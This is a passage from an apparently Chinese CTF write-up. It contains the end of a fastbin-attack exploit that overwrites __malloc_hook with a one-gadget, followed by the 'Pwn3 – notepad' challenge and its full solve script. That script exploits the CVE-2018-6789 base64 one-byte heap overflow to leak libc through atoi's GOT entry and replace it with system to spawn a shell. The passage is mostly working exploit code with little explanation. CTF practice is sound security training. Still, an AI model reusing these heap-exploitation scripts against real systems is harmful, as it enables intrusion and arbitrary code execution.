        )
    )

ru("I think you might need this: ")
system_addr = int(rud("\n").strip(), 16)
libc.address = system_addr - libc.symbols["system"]
log.critical("libc.address: 0x%x" % libc.address)

new_malloc_hook = libc.symbols["__malloc_hook"] # - 0x20 + 0x5 - 0x8
log.critical("new_malloc_hook address for fastbin attack: 0x%x" % new_malloc_hook)

malloc_heap()
free_heap()
write_heap(p64(new_malloc_hook))
malloc_heap()
malloc_heap()


one_gg = 0x10a38c + libc.address
log.critical("one gadget address: 0x%x" % one_gg)
one_gg = p64(one_gg)

content = one_gg
write_heap(content)

malloc_heap()

io.interactive()

Pwn3 – notepad

题目描述

复现地址:nc 47.105.148.65 7777

考点

cve-2018-6789, 堆溢出

解题过程

本题需要结合主要考察cve-2018-6789漏洞利用,题目逻辑中用到了存在漏洞的base64编码来进行密码校验,因此可以实现单字节溢出,可以覆盖堆块的size,实现extend chunk。

解题脚本:

from zio import *

is_local = True
#is_local = False

binary_path = "./notepad"

libc_file_path = ""
#libc_file_path = "./libc.so.6"

ip = ""
port = 0

if is_local:
    target = binary_path
else:
    target = (ip, port)
    
def d2v_x64(data):
    return l64(data[:8].ljust(8, '\x00'))
    
def d2v_x32(data):
    return l32(data[:4].ljust(4, '\x00'))
    
def rd_wr_str(io, info, buff):
    io.read_until(info)
    io.write(buff)
    
def rd_wr_int(io, info, val):
    rd_wr_str(io, info, str(val) + "\n")
    
def get_io(target):
    r_m = COLORED(RAW, "green")
    w_m = COLORED(RAW, "blue")    
    
    #r_m = False
    #w_m = False
    
    #io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
    io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m, env={"LD_PRELOAD":libc_file_path})    
    return io
    
from threading import Thread
def interact(io):
    def recv_func():
        while True:            
            try:
                output = io.read_until_timeout(timeout = 1)            
            except:                
                return

    recv_thread = Thread(target = recv_func)
    recv_thread.start()    
    while True:
        send_data = raw_input()        
        if send_data != '':
            io.writeline(send_data)
            
def menu_choice(io, choice, prompt = "choice> "):
    rd_wr_int(io, prompt, choice)
    
def add_record(io, name, passwd, content_size, content):
    menu_choice(io, 1)
    rd_wr_str(io, "> ", name)
    rd_wr_int(io, "> ", 1)
    rd_wr_str(io, "> ", passwd)
    rd_wr_int(io, "> ", content_size)
    rd_wr_str(io, "> ", content)
    
def show_record(io, name, passwd):
    menu_choice(io, 2)
    rd_wr_str(io, "> ", name)
    rd_wr_str(io, "> ", passwd)

def edit_record(io, name, passwd, content_size, content):
    menu_choice(io, 3)
    rd_wr_str(io, "> ", name)
    rd_wr_str(io, "> ", passwd)

    rd_wr_int(io, "> ", 0)    
    if (content_size != -1):
        rd_wr_int(io, "> ", content_size)
        rd_wr_str(io, "> ", content)
        
def delete_record(io, name, passwd):
    menu_choice(io, 4)
    rd_wr_str(io, "> ", name)
    rd_wr_str(io, "> ", passwd)def pwn(io):

    #offset info
    if is_local:        #local
        offset_system = 0x0
        offset_binsh = 0x0
    else:        #remote 
        offset_system = 0x0
        offset_binsh = 0x0

    passwd = "deadbeef".encode("base64") + "\x00"
    add_record(io, "0"*0x10, passwd + "\n", 0x20-1, "test0\n");
    add_record(io, "1"*0x10, passwd + "\n", 0x210-1, "test1\n");
    add_record(io, "2"*0x10, passwd + "\n", 0x20-1, "test2\n");
    add_record(io, "3"*0x10, passwd + "\n", 0x20-1, "test2\n");
    add_record(io, "4"*0x10, passwd + "\n", 0x20-1, "test2\n");    
    
    #edit_record(io, "4"*0x10, passwd + "\n", 0x20-1, "test2\n");

    #io.gdb_hint()
    delete_record(io, "1"*0x10, passwd + "\n")    
    #io.gdb_hint()
    add_record(io, "1"*0x10, passwd + "\n", 0xb0-1, "test1\n");    
    #io.gdb_hint()
    #edit_record(io, "1"*0x10, passwd + "\n", 0x80, "a"*0x10 + "\n")
    edit_record(io, "2"*0x10, passwd + "\n", 0x58-1, "b"*0x10 + "\n")    
    #io.gdb_hint()
    edit_record(io, "3"*0x10, passwd + "\n", 0xf8-1, "c"*0x10 + "\n")    
    #io.gdb_hint()

    delete_record(io, "2"*0x10, passwd + "\n")    
    #io.gdb_hint()
    #t_auth = "1"*((0x78-1)*4/3 + 1) + l8(0xff) + "\x00\n"
    
    target_len = 0x58
    t_auth = ""
    t_auth += "@@@"*(target_len/3)
    t_auth += "@"*(target_len%3) + '\x31'
    t_auth = t_auth.encode("base64").replace("\n", "")
    t_auth = t_auth[:-1] + "\x00\n"

    #io.gdb_hint()
    add_record(io, "2"*0x10, t_auth, 0x20-1, "padding\n")  
      
    #io.gdb_hint()

    atoi_got                   = 0x0000000000602090
    
    offset_atoi                = 0x36e80
    offset_system              = 0x45390

    full_addr = 0x4019DA #full
    payload = ""
    payload += 'a'*0x100
    payload += '2'*0x10
    payload += l64(full_addr)
    payload += l64(atoi_got)
    payload += l32(0x100) + l32(0x1)[:-1]# + "\n"

    #io.gdb_hint()
    edit_record(io, "3"*0x10, passwd + "\n", 0x128 - 1, payload)

    passwd_new = "full\x00".encode("base64")
    io.gdb_hint()
    show_record(io, "2"*0x10, passwd_new + "\n")
    data = io.read_until("\n")[:-1]
    atoi_addr = d2v_x64(data)    
    print "atoi_addr:", hex(atoi_addr)
    io.gdb_hint()

    leak_addr = atoi_addr
    leak_offset = offset_atoi
    libc_base = leak_addr - leak_offset
    system_addr = libc_base + offset_system

    payload = ""
    payload += l64(system_addr)

    edit_record(io, "2"*0x10, passwd_new + "\n", 0x10, payload)

    rd_wr_str(io, "> ", "sh\n")    #io.gdb_hint()
    io.interact()    pass    io = get_io(target)
pwn(io)
点赞